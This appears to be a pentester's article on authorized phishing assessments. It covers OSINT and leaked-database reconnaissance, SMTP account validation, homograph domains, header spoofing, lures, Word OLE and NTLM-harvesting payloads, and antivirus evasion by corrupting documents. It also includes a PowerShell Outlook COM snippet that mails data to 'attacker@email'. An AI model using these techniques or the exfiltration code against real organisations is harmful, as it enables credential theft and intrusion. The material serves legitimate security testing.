I think the relevance of social engineering goes without saying. You’re probably already seeing constant news about APT operations and email-borne ransomware outbreaks—Carbanak, Buhtrap, BlackOasis, GHOUL are just a few examples.
www
- New FinFisher cyber-espionage operation: ISP-level MitM attacks?
- Carbanak (Wikipedia)
- BlackOasis APT and new targeted attacks leveraging zero-day exploit
- Kaspersky Lab discovers a cyber-espionage campaign conducted using off-the-shelf malware
- Kaspersky exposes apparent Russian cyber-espionage operation amid U.S. criticism
Testing Objectives
When negotiating with a client, the first thing you need to do is make sure you both have a clear understanding of the testing objectives. Clients typically want:
- Stand up or evaluate the operations of your incident response center (CERT/SOC)
- Assess staff security awareness
- Properly configure spam filters, sandboxes, and antivirus solutions
In any of these scenarios, your goal is to understand how users respond to phishing campaigns, but misunderstandings still happen. We’ve had clients who, after our campaign, asked for an incident investigation, forgetting they’d commissioned a pentest. We’ve also seen client IT departments notice unusual email traffic and block our messages.
But in that case, what exactly did the client test? The incident response team? The monitoring stack? Definitely not user behavior. Which is why these points need to be agreed upon in advance, with a clear understanding of the objectives. Based on that, we can decide how to conduct the subsequent campaign.
If the client wants us to test the users themselves, we can email all of them, after coordinating so the campaign isn’t blocked. But if the goal is not only to measure employee reactions but also to test the spam filters, we typically pick a small group of users who are less security-savvy—such as accounting, admin, or legal—in short, anyone outside of IT. We then send only to them, with staggered delivery times and a personalized approach for each recipient.
It’s also important to remember that our objectives aren’t the same as those of real attackers. Their priority is to infect users’ workstations and pivot into the organization’s internal infrastructure to, for example, obtain sensitive information. Our goal is simply to see how the user reacted: did they open the attachment, when did they do it, what OS and browser they use — in short, anything that can help the client remediate issues.
What pentesting has in common with a real attack is bypassing every possible security policy and control. Just like an adversary, we need to deliver a phishing link or payload to the user’s workstation.
Adversary Model
There are several attacker models, generally grouped into two categories: internal and external. An internal attacker has insider knowledge and may even be inside the network. An external attacker typically has only basic information—your organization’s name, industry, and other publicly available details.
Email campaigns follow the same split. If you’re acting as an external attacker, you might, for example, send messages masquerading as a third-party organization, asking recipients to review an account statement by opening an attachment or clicking a link. Personally, I don’t love these campaigns because they tend to be ineffective. To improve results, you need to invest in reconnaissance and gather as much intel on the company as possible: employee email addresses, geographic location, organizational structure, and similar details.
If you’re working under an insider threat model, you can get all this information from the client. At that point, you can even request the employees’ email addresses for the mailing.
Reconnaissance: Passive Information Gathering
There are countless tools for automated information gathering—practically one for every person on Earth. 🙂 Here are some of the best-known: SpiderFoot, intrigue core, DataSploit, Maltego, theHarvester. However, most of them deliver pretty mediocre results when targeting the Russian segment of the internet.
I’ve settled on a few tools that don’t have this drawback. They include: SimplyEmail, ePochta Extractor, and FOCA. In my experience, SimplyEmail has proven effective for engagements across the CIS and for email discovery. FOCA, on the other hand, helps organize and quickly analyze documents pulled from search engines and client websites, and uncover addresses and other information.
In addition, I perform the same reconnaissance across the client’s entire infrastructure, as in a standard pentest. I analyze DNS, look for subdomains, review which IPs are in use, and so on. Most of the tools needed for this are listed on osintframework.com. Here’s a short list of what I use most often:
Social media analysis also tends to yield a lot of results: VK, Odnoklassniki, Facebook, LinkedIn, and others. They all let users list their employer, which you can use as a search pivot. There are various tools for scraping. For example, linkedin_profiles.py and corpint. Also check the aleph data repository—there are many utilities for analyzing information from social networks.
Don’t miss the chance to dig through Instagram and VK, both of which let you search by geolocation. If you know exactly where the company is located, you can browse photos employees took at their desks. You’ll sometimes find shots of monitors showing internal phone extensions, email addresses, and software icons. Even just knowing the version of Outlook can be very valuable (more on that below). I occasionally hear stories about employees writing passwords on sticky notes, but honestly, I’ve never seen that happen in practice.
It can also be useful to analyze Facebook likes. Companies often send internal emails along the lines of: “Here’s our Facebook page—please like it and follow us.” A like like that can be an indirect indicator that the person works at the company.
Besides that, there are great resources like databases.today: mmnt.ru, ftplike.com, metabot.ru, rapid-search-engine.com, alluc.ee, and so on. There you can find leaked databases and search for addresses on your own. And of course, there’s the well-known leakedsource.ru, which aggregates leaked databases. Granted, it only has about three billion accounts. There’s an even bigger one—with five billion—weleakinfo.com. There you can run wildcard searches and find addresses from a specific domain (that is, all addresses belonging to a particular company), which usually yields significant results.
If a company has questionable security policies and doesn’t enforce mandatory password rotation at all, an external attacker model often turns into an internal one (with the customer’s authorization, of course): the account password still works, so you can log into their mailbox and send emails from an internal address. The results are almost always spectacular.
Active Reconnaissance
Beyond email addresses, it’s helpful to identify employee roles and the company’s overall org chart. I also always try to collect full names—they’ll come in handy later when crafting the look of the email. And of course, various directory brute-forcing tools will be used—you can often find folders where employees dump documents. Among other things, these may contain useful metadata, non-public company information, or leftover temporary files. You may also come across photos taken in the office and other interesting items.
One of the tools you should always have at hand is Google (see the article “Using lesser-known Google features to uncover hidden content”). You’ll also need directory brute-forcing utilities and wordlists: DIRB, dirsearch, fuzz.txt, and so on.
In the end, you’ll need to validate all the collected and generated email usernames over SMTP, for example using smtp-user-enum.pl. In my experience, VRFY and EXPN are almost always disabled; only RCPT tends to work. There’s a dumb but common mistake: people take a list of 1,000 first names and 9,000 last names and try to brute-force the combinations. That chews through an insane amount of time and bandwidth, and the odds that admins will notice and block you climb to nearly 100%. Don’t do that.
If you’ve already figured out that corporate email addresses use the first letter of the given name, then pull the most common initials for male and female names. For men that’s n, i, p, e, k, m, and so on in descending order of frequency; for women — a, e, m, d, y, o, n, t, v… You also don’t need a list of 9,000 surnames — a few hundred of the most common will do.
Another common mistake is trying to generate feminine last names from masculine ones by simply adding the “-a” ending. That’s a very crude approach and leads to many errors — using separate surname datasets is a much better solution.
Also keep in mind that beyond SMTP, there’s Lync (now called Skype for Business), which has its own API you can use to validate user accounts as well (see the lyncsmash.py script). You may also encounter other internal enterprise services discoverable on subdomains.
Domain
At some point you’ll need to set up a phishing domain—useful both for email campaigns and for spinning up a fake website or company portal. There’s a tool called URLCrazy, but it can’t generate homograph domains (domains that can use Unicode), whereas CATPHISH can. It’s also handy to have dnstwist in your toolkit.
Registering these domains turned out to be a headache: when I tried to swap just one letter for a Unicode look‑alike, every domain registrar rejected it and insisted the entire domain name be Unicode. That’s often a problem for our purposes, because there aren’t many perfect lookalike characters, and we want to avoid extra hyphens and dots showing up in the address. Of the registrars I’ve worked with, the only one that allowed changing a single character was GoDaddy.
I also checked how different email clients parse Punycode—the ASCII representation of Unicode domains (you’ve probably seen those xn-- prefixes). It turns out Outlook 2013, 2015, and 2016, as well as The Bat!, render Unicode instead, hiding our little trick from the user. Unfortunately, this won’t work in IBM Notes, Thunderbird, Mail on Windows 10 and macOS, or Outlook on the web.
How can you reduce the chance that spam filters will flag your mailings? First, properly configure Sender Policy Framework (SPF) (example.). This lets the receiving mail server verify that your message was actually sent from an IP address authorized by your A or MX DNS records.
Same idea with DomainKeys Identified Mail (DKIM). In simple terms: there’s a public/private key pair. When your server sends an email, it signs the message with the private key; the public key is published in DNS, and the signature is embedded in the email headers. When the receiving server gets the message, it uses the DNS-published public key to verify the signature. If it checks out, the message earns more trust.
You should also know about the PTR record. That’s reverse DNS: it maps an IP address back to a specific domain name and is set on the DNS for the IP, indicating which hostname that IP resolves to.
www
The mail-tester.com service lets you verify that everything is configured correctly and see your email’s deliverability (spam) score.
Warm-up emails
If the client understands the testing approach and allows a preliminary mailing, we pick ten to fifteen users and send them emails that are likely to elicit a reply. Not phishing with promos or prizes, but a simple request like: “A colleague said you could help and share another employee’s internal extension.” The reply is usually something like, “No, I don’t know who that is….” That’s fine—the point is just to get a response. You can also try sending an email to a nonexistent address; the SMTP server will often return a bounce/non-delivery report.
What does this give us? Most importantly, whether there’s a corporate email signature and what it looks like. We also learn how the From header is formatted and how names are written. For example, surnames might be in Russian or transliterated, and the transliteration can vary: “ю” might be written as “ju” or “yu.” Or the full name might be spelled out. In short, lots of variations you’ll need to account for when sending the campaign. You might also pick up an internal phone extension — useful for phone-based social engineering (vishing).
You can even strike up a conversation with an employee and, in one of the messages, send a link to a phishing page. The link itself can just return a 404. It’s not uncommon for the user to reply with a screenshot, and from that you can see which browser or email client they’re using.
Email headers are a valuable source of intel. Antivirus and other security tools often leave their fingerprints there—typically including product names, versions, and the date of the last signature update. You can also glean the mail service/software in use and sometimes internal hostnames or addresses, which can come in handy later during a pentest. Don’t pass up that opportunity.
Email content
I really can’t stand “HR-themed” phish—emails supposedly from management, or about salaries, layoffs, and that whole vibe. Has anyone ever actually been fired by email? Messages “from the boss” these days are about as convincing as those 2005 pop-ups that said “You’re the millionth visitor—enter your card details.” In short: boring, dumb, and not worth the attention.
I much prefer coming up with something more original. Take the undelivered mail trick, for instance: the user gets a delivery failure notice for an email they never sent. Usually they think, “What email? I didn’t send that. Some attachment, huh? Let’s take a look!”
Tying it to a specific date usually works well. Any major holiday—like New Year’s or International Women’s Day—will do. Send something like: “We’re collecting contributions; here’s the list of people who don’t want to chip in—add yourself if you’re opting out,” and attach an Excel file. Few people can resist the temptation to peek at the shame list.
Another approach is to mimic an internal memo: ask the recipient to stop by accounting, print and complete some forms, or bring certain certificates—documents they’ll need to open first. In general, use anything that looks like everyday email traffic and feels routine, but that people will almost certainly open if the message is marked urgent.
Phishing
Phishing is pretty straightforward. If we’re posing as an internal email, it’s enough to ask users to follow a link to the corporate portal, where they’ll be prompted for their username and password via plain HTTP Basic authentication. Alternatively, we can spoof a notification from one of the company’s tools (Confluence, Jira, etc.). This is where subdomain brute-forcing comes in handy—you can identify exactly which services are in use. And don’t forget to include the favicon.ico!
Presentation
Presentation is one of the most critical factors that determines how successful a mailing will be. Good design builds the recipient’s trust. First, try to get a sample of the company’s email signature; being able to replicate it is especially useful if it’s distinctive—for example, includes an image. Sometimes it draws so much attention that people won’t even notice the off-domain sender address.
Fun fact: a person’s favorite word is usually their own name. If you address an employee by name—and even better, include their patronymic—you increase the chances they’ll open the email and maybe even the attachment.
Another interesting trick is CC. By tweaking the email headers, you can list anyone you want in the CC field. The message won’t actually be delivered to them, but the mail client will still show them as CC’d. You can add any employees there, which noticeably boosts the recipient’s trust.
The Defcon Moscow folks recently found an Outlook bug: the From header is parsed incorrectly, letting a forged address be shown instead of the real one. The UI displays the fake address, yet the message isn’t treated as spam and still passes authentication checks. For example, if you send an email with the header From: , some clients will display it as coming from fake@mail.ru.
Another handy trick to keep in mind is using the email thread format. Write a message as a reply to a previous email that never actually existed. For example, include a quoted “email from the boss” saying something needs to be done urgently, and attach a document. That kind of message is guaranteed to grab the recipient’s attention and, in my experience, significantly increases the chance they’ll open the attachment.
Ideally, you should mirror the fonts, colors, and other stylistic quirks of the mail client you’re impersonating. For example, in Outlook the very first message is typed in Courier, and the initial reply shows in black text, while subsequent replies are blue. It’s a small detail, but achieving maximum plausibility is crucial here.
And of course, you might want to hide the actual link addresses—for example, in HTML you can put one thing in the href attribute and show something completely different as the link text. But a spam filter that sees this may reject the message. As for the email’s From header, you should spoof it so it matches the company standard. Be sure to check exactly how they format it—first and last name, full name with middle name, or some other variant.
Don’t forget about Open Redirects. In my view, they can absolutely be treated as a vulnerability. On social media they work really well: for example, we can use the bank’s primary domain in the link, then rely on an open redirect in the URL to send the user to our own domain.
Payload
Sure, you could use Dynamic Data Exchange (DDE), which was very popular until recently, but now it’s blocked by almost all antivirus products. You could pack it into a password-protected archive so the user spends five minutes trying to open it. You could use JS, MHT, and MHTA, which have also been blocked by antivirus tools for quite some time, or RTF, where a vulnerability was recently discovered and later exploited by many APT groups.
But it’s 2018, so I don’t use any of that—unless something from that list somehow isn’t being blocked. I try to stick to either external resource loading (embed an object in a Word document that pulls from an external URL; in return we can get a GET request and, in some cases, an NTLM hash if we use Responder), or OLE: again, we embed such an object in a Word doc, slap a nice-looking icon on it (for example, another Excel file or an archive), and we end up with a legit-looking document that only takes three clicks from the user.
Challenges
One of the perennial questions without a clear answer is: when should you send a message so the most people see it right away? At 9 a.m. or at noon? Or right before the end of the workday?
Researchers disagree on this. Some recommend sending right after lunch, when a full stomach can lower vigilance. Others say just before lunch is better, since peak office activity is around 11 a.m.–1 p.m. and employees may be distracted by multitasking. Another option is around 6 p.m., when people are trying to wrap up and head home. It’s your call.
Another common issue is getting blocked by antivirus, spam filters, and other security tools. Messages may simply not make it through the sandbox. There are various techniques for evading sandboxes; you can find write-ups on detecting whether an application is running in a sandboxed environment. But the real challenge is that you often have to treat it as a black box and you don’t know anything about the configuration.
Another handy trick leverages a neat Word feature: recovering corrupted documents. Since a Word .docx file is actually a ZIP archive, you can usually open it with a standard archive tool. But if you intentionally corrupt, say, the header integrity or the byte sequence in the file body, that won’t be possible. As a result, the file may pass antivirus scans but—after a couple of warnings—will still open in Word.
The third major challenge is getting results out when outbound internet access is blocked. A company might suddenly shut down HTTP connections and even DNS. What do you do when no traffic gets through at all? A poor workaround is to send a mass email to employees’ personal addresses. Clients usually won’t allow this, but there are exceptions.
Let’s think this through: if the email was received, then some traffic is getting through, right? Bingo! Email works, so we can use it. You can access Outlook via a COM object and send an email to yourself from the employee’s mailbox with code like this:
$Outlook = New-Object -ComObject Outlook.Application
$Mail = $Outlook.CreateItem(0)
$Mail.To = "attacker@email"
$Mail.Subject = "Subj"
$Mail.Body = "Message"
$Mail.Send()
Key takeaways
What do I recommend to clients most often? The list is almost always the same: monitor email traffic for anomalies, configure sandboxing solutions, spam filters, and other protective controls, provide continuous employee training, and—drumroll—conduct social engineering assessments!